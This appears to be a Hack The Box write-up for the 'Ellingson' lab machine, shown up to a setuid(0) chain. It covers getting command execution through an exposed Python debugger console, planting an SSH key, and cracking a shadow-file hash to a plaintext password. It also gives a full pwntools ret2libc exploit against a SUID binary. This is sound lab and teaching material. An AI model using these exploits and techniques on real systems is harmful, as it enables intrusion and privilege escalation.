15 minute read



Hack The Box - Ellingson

Quick Summary

Hey guys, today Ellingson retired and here’s my write-up about it. It was a fun box with a very nice binary exploitation privesc, I found the way of getting RCE on this box (which was by abusing the debugger of a python server that was running on the box) very interesting. It’s a Linux box and its ip is 10.10.10.139, I added it to /etc/hosts as ellingson.htb. Let’s jump right in !


Nmap

As always we will start with nmap to scan for open ports and services:

root@kali:~/Desktop/HTB/boxes/ellingson# nmap -sV -sT -sC -o nmapinitial ellingson.htb 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-18 14:11 EET
Nmap scan report for ellingson.htb (10.10.10.139)
Host is up (0.13s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
|   256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_  256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://ellingson.htb/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.79 seconds

We got http on port 80 and ssh on port 22.

Web Enumeration

Let’s take a look at the index page: http://ellingson.htb:




The only interesting thing was these articles at the top of the page:


The first one was talking about a virus that was planted in their mainframe:


The second one was talking about a brute-force protection that was recently added which tells us not to attempt to bruteforce anything or we’ll get banned:


The third one was advising users to change their passwords because of some suspicious network activity that was detected, telling them that the most common passwords are Love, Secret, Sex and God:


So far the only interesting thing we have is the 4 common passwords.
The articles path followed this pattern: /articles/n (n is the article number) so I thought of trying different numbers to see if there’s a hidden article or something like that. When I tried 4 I got an error because that article doesn’t exist, I expected a 404 error but I got this debugger:


By hovering over one of the lines a small console icon appears, its description says that it open an interactive python shell:




RCE –> SSH as hal

With popen() from os we can execute commands and read the output like this:

>>> print (os.popen('whoami').read())
hal

We are executing commands as hal who doesn’t have the user flag:

>>> print (os.popen('pwd').read())
/

>>> print (os.popen('ls -la /home').read())
total 24
drwxr-xr-x  6 root      root      4096 Mar  9  2019 .
drwxr-xr-x 23 root      root      4096 Mar  9  2019 ..
drwxrwx---  3 duke      duke      4096 Mar 10  2019 duke
drwxrwx---  5 hal       hal       4096 May  7 13:12 hal
drwxrwx---  6 margo     margo     4096 Oct 18 11:01 margo
drwxrwx---  4 theplague theplague 4096 May  7 13:13 theplague

>>> print (os.popen('ls -la /home/hal').read())
total 36
drwxrwx--- 5 hal  hal  4096 May  7 13:12 .
drwxr-xr-x 6 root root 4096 Mar  9  2019 ..
-rw-r--r-- 1 hal  hal   220 Mar  9  2019 .bash_logout
-rw-r--r-- 1 hal  hal  3771 Mar  9  2019 .bashrc
drwx------ 2 hal  hal  4096 Mar 10  2019 .cache
drwx------ 3 hal  hal  4096 Mar 10  2019 .gnupg
-rw-r--r-- 1 hal  hal   807 Mar  9  2019 .profile
drwx------ 2 hal  hal  4096 Oct 18 08:28 .ssh
-rw------- 1 hal  hal   865 Mar  9  2019 .viminfo

So we will need to be another user, however we need to get a shell first. We can simply echo our public key to /home/hal/.ssh/auhtorized_keys and get ssh as hal:

>>> print (os.popen('echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGEUzu7cGthWtPNXM5/rAvPBywgyh68AEpSyUBXm24kByXu+GhEmvAiVlkAhasBgTjiCbpup3dmzz54ADlo4T2jUWoVVEDOw82eKQ6EoqpYnHGVmpDmJ1n7+eCvb3ut0bl5VOnTkhYSWS8G9V6V+E/VmDun63HoHCHzvtBlbN/ZmhRKxdwNFSYN/NswU8MFK+MVXxa/FJUxrOJVAnefXQdfDBxIt4j/qqMr68u9lQfqOX5shmS0M55lFNAY2mR6INBQtT6AnAWremPCHdUHxU3eSvzUcItaamecSPTfDgMQDQkxXrrsKQLkJeCKZ/1EwDBXIF3RGCeNGq0hCYHSF8d root@kali\" > /home/hal/.ssh/authorized_keys').read())

root@kali:~/Desktop/HTB/boxes/ellingson# ssh -i ./id_rsa hal@ellingson.htb 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Oct 18 12:30:03 UTC 2019

  System load:  0.0                Processes:            105
  Usage of /:   23.8% of 19.56GB   Users logged in:      1
  Memory usage: 18%                IP address for ens33: 10.10.10.139
  Swap usage:   0%

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

163 packages can be updated.
80 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Oct 18 09:08:47 2019 from 10.10.15.92
hal@ellingson:~$ whoami
hal
hal@ellingson:~$ 

shadow.bak –> SSH as margo

There are 4 users on the box: duke, hal, margo and theplague:

hal@ellingson:/home$ ls -al
total 24
drwxr-xr-x  6 root      root      4096 Mar  9  2019 .
drwxr-xr-x 23 root      root      4096 Mar  9  2019 ..
drwxrwx---  3 duke      duke      4096 Mar 10  2019 duke
drwxrwx---  5 hal       hal       4096 May  7 13:12 hal
drwxrwx---  6 margo     margo     4096 Oct 18 11:01 margo
drwxrwx---  4 theplague theplague 4096 May  7 13:13 theplague
hal@ellingson:/home$ 

One of the places I always like to check when trying to escalate privileges is /var/backups. On this box there was a backup for /etc/shadow there:

hal@ellingson:/var/backups$ ls -la
total 708
drwxr-xr-x  2 root root     4096 May  7 13:14 .
drwxr-xr-x 14 root root     4096 Mar  9  2019 ..
-rw-r--r--  1 root root    61440 Mar 10  2019 alternatives.tar.0
-rw-r--r--  1 root root     8255 Mar  9  2019 apt.extended_states.0
-rw-r--r--  1 root root      437 Jul 25  2018 dpkg.diversions.0
-rw-r--r--  1 root root      295 Mar  9  2019 dpkg.statoverride.0
-rw-r--r--  1 root root   615441 Mar  9  2019 dpkg.status.0
-rw-------  1 root root      811 Mar  9  2019 group.bak
-rw-------  1 root shadow    678 Mar  9  2019 gshadow.bak
-rw-------  1 root root     1757 Mar  9  2019 passwd.bak
-rw-r-----  1 root adm      1309 Mar  9  2019 shadow.bak
hal@ellingson:/var/backups$ cat shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
hal@ellingson:/var/backups$ 

First time I solved the box I created a list with all password combinations from rockyou that had the words “love, secret, sex and god” (most common passwords we saw earlier) and tried to crack the 3 hashes with it. I could get margo’s password which had “god” in it.

root@kali:~/Desktop/HTB/boxes/ellingson# echo 'margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::' > margo.hash
root@kali:~/Desktop/HTB/boxes/ellingson# grep -i god /usr/share/wordlists/rockyou.txt > list.txt
root@kali:~/Desktop/HTB/boxes/ellingson# john --wordlist=./list.txt margo.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
iamgod$08        (margo)
1g 0:00:00:08 DONE (2019-10-18 14:58) 0.1234g/s 829.6p/s 829.6c/s 829.6C/s iamgod22..hydrogod20
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now we can simply ssh into the box as margo : iamgod$08:


We owned user.

Binary: Analysis

I searched for suid binaries and found a strange binary called garbage:

margo@ellingson:~$ find / -perm -4000 2>/dev/null            
/usr/bin/at        
/usr/bin/newgrp        
/usr/bin/pkexec        
/usr/bin/passwd       
/usr/bin/gpasswd        
/usr/bin/garbage      
/usr/bin/newuidmap           
/usr/bin/sudo
/usr/bin/traceroute6.iputils           
/usr/bin/chfn     
/usr/bin/newgidmap           
/usr/bin/chsh
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/umount
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/fusermount
---

When executed it asks for a password, providing a long password crashes it:

margo@ellingson:~$ /usr/bin/garbage
Enter access password: test

access denied.
margo@ellingson:~$ /usr/bin/garbage 
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

access denied.
Segmentation fault (core dumped)
margo@ellingson:~$ 

So we have a buffer overflow, I downloaded the binary on my machine:

root@kali:~/Desktop/HTB/boxes/ellingson# scp margo@ellingson.htb:/usr/bin/garbage ./                                                                                                                              
margo@ellingson.htb's password:
garbage                                                                                                                                                                          100%   18KB  60.4KB/s   00:00    
root@kali:~/Desktop/HTB/boxes/ellingson#

checksec shows that NX (non-executable stack) is enabled so we will do a ret2libc attack:

root@kali:~/Desktop/HTB/boxes/ellingson# file garbage
garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not
stripped
root@kali:~/Desktop/HTB/boxes/ellingson# checksec ./garbage
[*] '/root/Desktop/HTB/boxes/ellingson/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE 

ASLR is enabled so will need to get around that:

margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2

I downloaded libc from the box:

margo@ellingson:~$ ldd /usr/bin/garbage
        linux-vdso.so.1 (0x00007ffd0a7f0000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f55ded1e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f55df10f000)
margo@ellingson:~$
root@kali:~/Desktop/HTB/boxes/ellingson# scp margo@ellingson.htb:/lib/x86_64-linux-gnu/libc.so.6 ./
margo@ellingson.htb's password:
libc.so.6                                                                                                                                                                        100% 1983KB 263.6KB/s   00:07    
root@kali:~/Desktop/HTB/boxes/ellingson#

Binary: Exploitation

To defeat ASLR our first rop chain will leak __libc_start_main by calling puts() with __libc_start_main@plt address as an argument. Then by subtracting __libc_start_main@@GLIBC address from the leaked address we will get the base address of libc.
After leaking libc’s address we can easily calculate the addresses we need and do our second chain which will perform the ret2libc attack.
First we need to find the offset, I used a pattern to do it (I’m using gef):

gef  pattern create
[+] Generating a pattern of 1024 bytes

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaa
aaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaa
acdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaade
aaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaa
aaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf                               
[+] Saved as '$_gef0'
gef  r
Starting program: /root/Desktop/HTB/boxes/ellingson/garbage

Enter access password: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf       

access denied.

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401618 in auth ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x00007f472f47a504    0x5477fffff0003d48 ("H="?)
$rdx   : 0x00007f472f54d8c0    0x0000000000000000
$rsp   : 0x00007ffcc590c3e8    "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"
$rbp   : 0x6161616161616171 ("qaaaaaaa"?)
$rsi   : 0x000000000077c9c0    "access denied.\nssword:"
$rdi   : 0x0
$rip   : 0x0000000000401618    <auth+261> ret 
$r8    : 0x00007f472f552500    0x00007f472f552500    [loop detected]
$r9    : 0x00007f472f54c848    0x00007f472f54c760    0x00000000fbad2a84
$r10   : 0xfffffffffffff638
$r11   : 0x246
$r12   : 0x0000000000401170    <_start+0> xor ebp, ebp
$r13   : 0x00007ffcc590c4e0    "xaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaacea[...]"
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]                                                                                                       
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc590c3e8+0x0000: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"     $rsp
0x00007ffcc590c3f0+0x0008: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"
0x00007ffcc590c3f8+0x0010: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaaza[...]"
0x00007ffcc590c400+0x0018: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabba[...]"
0x00007ffcc590c408+0x0020: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabca[...]"
0x00007ffcc590c410+0x0028: "waaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabda[...]"
0x00007ffcc590c418+0x0030: "xaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabea[...]"
0x00007ffcc590c420+0x0038: "yaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfa[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40160d <auth+250>       call   0x401050 <puts@plt>
     0x401612 <auth+255>       mov    eax, 0x0
     0x401617 <auth+260>       leave  
    0x401618 <auth+261>       ret    
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "garbage", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401618  auth()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef  pattern offset raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa
[+] Searching 'raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa'
[+] Found at offset 136 (big-endian search)
gef  

Offset is 136 bytes, let’s start writing the exploit (I’m using pwntools).
First thing to do is to set-up the connection to the box and start the remote process, we have ssh access so we can use that:

r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')

Then we need to load the binary file and libc in the exploit:

elf = ELF("./garbage")
libc = ELF("./libc.so.6")

We can use the ROP() function to load the rop gadgets from the binary:

rop = ROP(elf)

exploit.py:

#!/usr/bin/python
from pwn import *

r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')

elf = ELF("./garbage")
libc = ELF("./libc.so.6")
rop = ROP(elf)

Exploitation: Leaking libc base address

I created a function called leak() that takes 4 arguments (the process, the loaded binary file, libc and the rop gadgets):

def leak(p,elf,libc,rop):

This function will perform the 1st rop chain, it will send 136 bytes to reach rip and overwrite it with a pop rdi, ret gadget, then it will send __libc_start_main@plt’s address (will be placed in rdi) and call puts() which will take its argument from rdi and print the address of __libc_start_main. Finally it will call main() again to prevent execution from breaking (if the execution breaks the leaked address will be of no use because it won’t be the same when we execute the program again).
We need the addresses of pop rdi, ret gadget, __libc_start_main@plt from the binary, puts()@plt from the binary, main() from the binary, to get them:

	POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
	LIBC_START_MAIN = elf.symbols['__libc_start_main']
	PUTS = elf.plt['puts']
	MAIN = elf.symbols['main']

Now we can simply construct the payload:

	payload = "A" * 136
	payload += p64(POP_RDI)
	payload += p64(LIBC_START_MAIN)
	payload += p64(PUTS)
	payload += p64(MAIN)

Finally we will send the payload and receive the leaked address:

	p.recvuntil('password:')
	p.sendline(payload)
	p.recvline()
	p.recvline()
	leak = p.recvline().strip()
	leak = u64(leak.ljust(8, "\x00"))

	log.success("Leaked __libc_start_main: " + hex(leak))
	return leak

Let’s test it: exploit.py:

#!/usr/bin/python
from pwn import *

def leak(p,elf,libc,rop):
	POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
	LIBC_START_MAIN = elf.symbols['__libc_start_main']
	PUTS = elf.plt['puts']
	MAIN = elf.symbols['main']
	
	log.info("puts@plt: " + hex(PUTS))
	log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
	log.info("pop rdi gadget: " + hex(POP_RDI))
	
	payload = "A" * 136
	payload += p64(POP_RDI)
	payload += p64(LIBC_START_MAIN)
	payload += p64(PUTS)
	payload += p64(MAIN)

	p.recvuntil('password:')
	p.sendline(payload)
	p.recvline()
	p.recvline()
	leak = p.recvline().strip()
	leak = u64(leak.ljust(8, "\x00"))

	log.success("Leaked __libc_start_main: " + hex(leak))
	return leak

r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')

elf = ELF("./garbage")
libc = ELF("./libc.so.6")
rop = ROP(elf)

leak = leak(p,elf,libc,rop)
root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py 
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 7730
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './garbage'
[*] puts@plt: 0x401050
[*] __libc_start_main: 0x403ff0
[*] pop rdi gadget: 0x40179b
[+] Leaked __libc_start_main: 0x7f3dbe66fab0

It’s working fine, to calculate the address of libc we will simply subtract libc.sym["__libc_start_main"] from the leaked address:

libc.address = leak - libc.sym["__libc_start_main"]

log.info("Calculated libc address: " + hex(libc.address))
root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 7858
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './garbage'
[*] puts@plt: 0x401050
[*] __libc_start_main: 0x403ff0
[*] pop rdi gadget: 0x40179b
[+] Leaked __libc_start_main: 0x7f56b2056ab0
[*] Calculated libc address: 0x7f56b2035000

Exploitation: ret2libc

Similar to the function leak() I created another function called shell() that takes the same arguments as leak():

def shell(p,elf,libc,rop):

This function will simply call the pop rdi,ret gadget and place "/bin/sh" in rdi then call system() which will take its argument from rdi and execute a shell.
We need the addresses of ret gadget, pop rdi, ret gadget, "/bin/sh" string from libc, system() from libc, to get them:

	RET = rop.find_gadget(['ret'])[0]
	POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
	BIN_SH = next(libc.search("/bin/sh"))
	SYSTEM = libc.sym["system"]

Then we will construct the payload:

	payload = "A" * 136
	payload += p64(RET)
	payload += p64(POP_RDI)
	payload += p64(BIN_SH)
	payload += p64(SYSTEM)

And finally we will send the payload and switch into interactive mode:

	p.recvuntil('password:')
	p.sendline(payload)
	p.interactive()

Let’s test it: exploit.py:

#!/usr/bin/python
from pwn import *

def leak(p,elf,libc,rop):
	POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
	LIBC_START_MAIN = elf.symbols['__libc_start_main']
	PUTS = elf.plt['puts']
	MAIN = elf.symbols['main']
	
	log.info("puts@plt: " + hex(PUTS))
	log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
	log.info("pop rdi gadget: " + hex(POP_RDI))
	
	payload = "A" * 136
	payload += p64(POP_RDI)
	payload += p64(LIBC_START_MAIN)
	payload += p64(PUTS)
	payload += p64(MAIN)

	p.recvuntil('password:')
	p.sendline(payload)
	p.recvline()
	p.recvline()
	leak = p.recvline().strip()
	leak = u64(leak.ljust(8, "\x00"))

	log.success("Leaked __libc_start_main: " + hex(leak))
	return leak

def shell(p,elf,libc,rop):
	RET = rop.find_gadget(['ret'])[0]
	POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
	BIN_SH = next(libc.search("/bin/sh"))
	SYSTEM = libc.sym["system"]

	log.success("/bin/sh: " + hex(BIN_SH))
	log.success("system: " + hex(SYSTEM))

	payload = "A" * 136
	payload += p64(RET)
	payload += p64(POP_RDI)
	payload += p64(BIN_SH)
	payload += p64(SYSTEM)

	p.recvuntil('password:')
	p.sendline(payload)
	p.interactive()

r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')

elf = ELF("./garbage")
libc = ELF("./libc.so.6")
rop = ROP(elf)

leak = leak(p,elf,libc,rop)
libc.address = leak - libc.sym["__libc_start_main"]

log.info("Calculated libc address: " + hex(libc.address))

shell(p,elf,libc,rop)
root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py 
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 8012
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './garbage'
[*] puts@plt: 0x401050
[*] __libc_start_main: 0x403ff0
[*] pop rdi gadget: 0x40179b
[+] Leaked __libc_start_main: 0x7f63c8d7eab0
[*] Calculated libc address: 0x7f63c8d5d000
[+] /bin/sh: 0x7f63c8f10e9a
[+] system: 0x7f63c8dac440
[*] Switching to interactive mode
 
access denied.
$ $ whoami
margo
$ $ id
uid=1002(margo) gid=1002(margo) groups=1002(margo)
$ $  

It works, but we get a shell as margo not root

Exploitation: setuid –> root shell

To solve this we will create another chain that calls setuid() and sets our uid to 0.
I created a function called suid() that takes the same arguments as the other functions:

def suid(p,elf,libc,rop):

This function will call the pop rdi, ret gadget and it will put a 0 in rdi, then it will call setuid() which will take its argument from rdi and will set our uid to 0, and finally it will call main() again.
We need the addresses of pop rdi, ret gadget, setuid() from libc and main() from the binary, to get them:

	POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
	SUID = libc.sym['setuid']
	MAIN = elf.symbols['main']

Then we will construct the payload and send it:

        payload = "A" * 136
        payload += p64(POP_RDI)
        payload += p64(0)
        payload += p64(SUID)
        payload += p64(MAIN)
        p.recvuntil('password:')
        p.sendline(payload)

